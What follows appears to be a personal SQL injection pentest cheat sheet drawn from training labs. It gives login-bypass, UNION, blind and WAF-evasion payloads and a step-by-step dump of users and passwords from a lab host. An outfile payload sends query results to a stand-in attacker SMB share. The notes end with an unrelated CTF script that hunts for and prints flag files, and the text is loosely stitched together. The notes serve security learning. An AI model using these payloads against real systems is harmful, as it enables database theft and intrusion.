SQL Injection (SQLi) – Pentest Cheatsheet
Effect: Comments out the rest. Shows all products.
What is SQL Injection (SQLi)?#
SQL injection is a vulnerability that lets attackers change or interfere with SQL queries the app sends to its database.
- View, modify, or delete data.
- Potential for server compromise or backdoors.
Impact#
- Unauthorized access to:
- Passwords
- Credit cards
- Personal info
- Data breaches
- Reputation damage
- Regulatory fines
How to Detect SQLi#
- Inject: ' OR 1=1 OR 1=2
- Look for errors and response changes
- Use time-based attacks (SLEEP(5))
- Use out-of-band callbacks (OAST)
- Tools: Burp Suite, manual testing
Common Injection Points#
- WHERE clause in SELECT
- UPDATE and INSERT
- Table/column names
- ORDER BY
Examples#
1. Retrieve Hidden Data#
URL: https://example.com/products?category=Gifts (opens in a new tab)
Original Query: SELECT * FROM products WHERE category = 'Gifts' AND released = 1
Injection: category=Gifts'--
Effect: Comments out the rest. Shows all products.
Advanced: category=Gifts'+OR+1=1--
Effect: Always true condition returns all rows.
2. Login Bypass#
Original: SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
Injection: username=admin'-- password=
Effect: Removes password check. Logs in as admin.
3. UNION-Based Retrieval#
Original: SELECT name, description FROM products WHERE category = 'Gifts'
Injection: ' UNION SELECT username, password FROM users--
Effect: Appends users table results.
4. Blind SQLi#
- No errors or direct results.
- Techniques:
- Boolean: AND 1=1, AND 1=2
- Time-based: SLEEP(5)
- Out-of-band: DNS/HTTP callbacks
5. Second-Order SQLi#
- Malicious input stored safely at first.
- Used unsafely later in SQL.
- Example: profile update stores payload, used later in a query.
6. Examining Database#
-
Get version: SELECT * FROM v$version
-
List tables: SELECT * FROM information_schema.tables
-
DB differences:
- Comments
- Concatenation
- Error messages
7. Other Contexts#
- JSON, XML, headers, cookies.
- Example (XML encoding):
<storeId>999 SELECT * FROM information_schema.tables</storeId>Effect: Bypasses WAF filters using encoding.
Prevention#
- Use Parameterized Queries / Prepared Statements
Bad: SELECT * FROM products WHERE category = '"+ input + "'
Good: PreparedStatement stmt = conn.prepareStatement("SELECT * FROM products WHERE category = ?"); stmt.setString(1, input);
- Whitelist table/column names
- Never use dynamic SQL with untrusted input
SQL injection cheat sheet#
https://portswigger.net/web-security/sql-injection/cheat-sheet (opens in a new tab)
Pentester Quick Checklist#
- Test all inputs.
- Look for errors and anomalies.
- Try:
- Boolean conditions
- Time delays
- UNION attacks
- Out-of-band methods
- Watch for second-order injection.
Practice Ideas#
- WHERE clause exploitation
- Login bypass
- UNION retrieval
- Blind SQLi techniques
- Filter bypass with encoding
- Out-of-band exfiltration
Determine Number of Columns:
- Try these URLs:
http://10.10.214.65/gallery/?page=albums/images&id=2' ORDER BY 1-- -
http://10.10.214.65/gallery/?page=albums/images&id=2' ORDER BY 2-- -
http://10.10.214.65/gallery/?page=albums/images&id=2' ORDER BY 3-- -
http://10.10.214.65/gallery/?page=albums/images&id=2' ORDER BY 4-- -Keep increasing ORDER BY number until you get an error.
The last working number before error = exact number of columns.
Example found = 8 columns.
UNION Attack with 8 columns:
http://10.10.214.65/gallery/?page=albums/images&id=-1 UNION SELECT 1,2,3,4,5,6,7,8-- -or URL encoded:
http://10.10.214.65/gallery/?page=albums/images&id=2%20%27UNION%20SELECT%201,2,3,4,5,6,7,8--%20-Check which columns show on page. Replace those with target data.
Retrieve Table Names:
Replace visible column with table_name:
http://10.10.214.65/gallery/?page=albums/images&id=1' UNION SELECT 1,2,table_name,4,5,6,7,8 FROM information_schema.tables-- -Retrieve Column Names for users table:
http://10.10.214.65/gallery/?page=albums/images&id=1' UNION SELECT 1,2,column_name,4,5,6,7,8 FROM information_schema.columns WHERE table_name='users'-- -Dump Usernames:
http://10.10.214.65/gallery/?page=albums/images&id=1' UNION SELECT 1,2,username,4,5,6,7,8 FROM users-- -Dump Passwords:
http://10.10.214.65/gallery/?page=albums/images&id=1' UNION SELECT 1,2,password,4,5,6,7,8 FROM users-- -In-Band SQLi Examples:
Error-Based:
SELECT * FROM users WHERE id = 1 AND 1=CONVERT(int, (SELECT @@version))Union-Based:
SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT username, password FROM adminInferential (Blind) SQLi:
Boolean-Based:
SELECT * FROM users WHERE id = 1 AND 1=1vs
SELECT * FROM users WHERE id = 1 AND 1=2Time-Based:
SELECT * FROM users WHERE id = 1; IF (1=1) WAITFOR DELAY '00:00:05'--Filter Bypass Examples:
-- SELECT banned
SElEcT * FrOm users
SE/**/LECT * FROM/**/users-- Spaces banned
SELECT%0A*%0AFROM%0Ausers
SELECT/**/FROM/**/users-- AND/OR banned
username='admin'&&password='pass'
username='admin'/**/||/**/1=1-- UNION/SELECT banned
SELECT * FROM users WHERE username = CHAR(0x61,0x64,0x6D,0x69,0x6E)-- Obfuscation
SELECT * FROM users WHERE username=CONCAT('a','d','m','i','n')Preparing Outfile Payload:
1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --Meaning: 1' closes original string. ; ends statement. SELECT INTO OUTFILE writes result to SMB share. -- comments rest.
HTTP Header Injection Example:
User-Agent: ' OR 1=1; --
User-Agent: ' UNION SELECT username, password FROM user; #Curl example:
curl -H "User-Agent: ' UNION SELECT username, password FROM user; #" http://MACHINE_IP/httpagent/Useful Tools: SQLMap - Automated SQLi detection/exploitation. SQLNinja - Focused on MSSQL. JSQL Injection - Java library. BBQSQL - Blind SQLi exploitation framework.#
Secure Coding Recommendations:
- Parameterized Queries and Prepared Statements.
- Input Validation and Sanitisation.
- Least Privilege Principle.
- Stored Procedures.
- Regular Security Audits and Code Reviews.
Pentester Notes:
- Exploit DB-specific features (e.g. xp_cmdshell in MSSQL).
- Leverage error messages.
- Bypass WAFs with obfuscation.
- Database fingerprinting.
- Pivot to internal systems.
SQLi vs ORM Injection:
SQL Injection:
- Targets raw SQL.
- Easier to detect.
- Mitigation: Prepared Statements.
ORM Injection:
- Targets ORM query building.
- Harder to detect.
- Mitigation: Proper ORM config, validation.
Example SQLi: SELECT * FROM users WHERE username = 'admin' OR '1'='1';
Example ORM: $userRepository->findBy(['username' => "admin' OR '1'='1"]);
LOgin#
' UNION SELECT NULL-- This payload will give Internal Error, the same thing as with three NULL columns. But with two columns:
' UNION SELECT NULL,NULL--It gives you a Login Failed.
Note: the previous payload, as the table contains two columns, it returns 1. So, the server interprets it as there is a username.
cat evil
#!/app/.venv/bin/python
import os
print("hash_factory v1.0:")
try:
# جرب نقرأ بعض المسارات المحتملة للـ flag
candidates = ["/app/flag","/flag","/home/app/flag","./flag","main.py"]
for p in candidates:
if os.path.exists(p):
print(f"FOUND: {p}")
try:
print("---- START CONTENT ----")
with open(p,'r', encoding='utf-8') as f:
print(f.read())
print("---- END CONTENT ----")
except Exception as e:
print("cannot read", p, e)
# لو ما لقيناش flag، نعرض محتويات /app عشان نستكشف
print("\nLIST /app:")
for entry in os.listdir("/app"):
print(entry)
except Exception as e:
print("ERROR:", e)